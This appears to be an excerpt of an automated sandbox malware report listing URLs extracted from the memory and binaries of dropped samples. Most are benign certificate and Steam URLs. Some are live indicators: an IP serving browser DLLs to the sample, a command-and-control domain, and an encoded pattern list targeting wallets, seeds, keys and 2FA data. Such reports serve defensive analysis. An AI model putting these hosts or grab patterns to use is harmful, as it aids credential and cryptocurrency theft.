Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: mg9LPWGtPB.exe, EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesigng20
Source: mg9LPWGtPB.exe	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://s.symcd.com06
Source: mg9LPWGtPB.exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt04
Source: mg9LPWGtPB.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: mg9LPWGtPB.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: mg9LPWGtPB.exe	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://survey-smiles.com
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://survey-smiles.com/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://survey-smiles.com/S
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://survey-smiles.com/zl
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.:
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arp
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpKJJJJKFCGCB3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY2
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpKJJJJKFCGCBm-data;
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl.
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl.KFCGCB
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl.org
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl.org/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdabl.orgGCB
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdablJKFCGCB
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpdablJKFCGCB7fc76XQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tea.arpultipart/form-data;
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/0
Source: mg9LPWGtPB.exe, 00000000.00000003.2014471927.0000000002911000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3070815908.00000000000E8000.00000002.00000001.01000000.00000005.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3034260279.00000000027BC000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000000.3082576315.0000000001008000.00000002.00000001.01000000.0000000C.sdmp, SolarSys.pif, 00000026.00000002.3134735771.0000000000408000.00000002.00000001.01000000.0000000E.sdmp, SolarSys.pif, 00000027.00000002.3134290107.0000000000408000.00000002.00000001.01000000.0000000E.sdmp, Bk.pif.17.dr, Univ.0.dr, Effectiveness.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Hist.pif, 0000000B.00000002.3103223842.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078346010.000000000C8AD000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://65.109.241.221
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/freebl3.dll
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/freebl3.dllN
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/mozglue.dll
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/msvcp140.dll
Source: Hist.pif, 0000000B.00000002.3072148698.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/nss3.dll
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/softokn3.dll
Source: Hist.pif, 0000000B.00000002.3072148698.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/sqlt.dll
Source: Hist.pif, 0000000B.00000002.3072148698.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/sqlt.dllV
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/vcruntime140.dll-
Source: Hist.pif, 0000000B.00000002.3072148698.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221/vcruntime140.dll2
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://65.109.241.221GCA
Source: GCFIIE.11.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GCFIIE.11.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GCFIIE.11.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GCFIIE.11.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=yK1lsR1Hg7a0&a
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=b0ttg8aG
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=laxk
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=iXlDmMaqrwHh&l=e
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/he
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
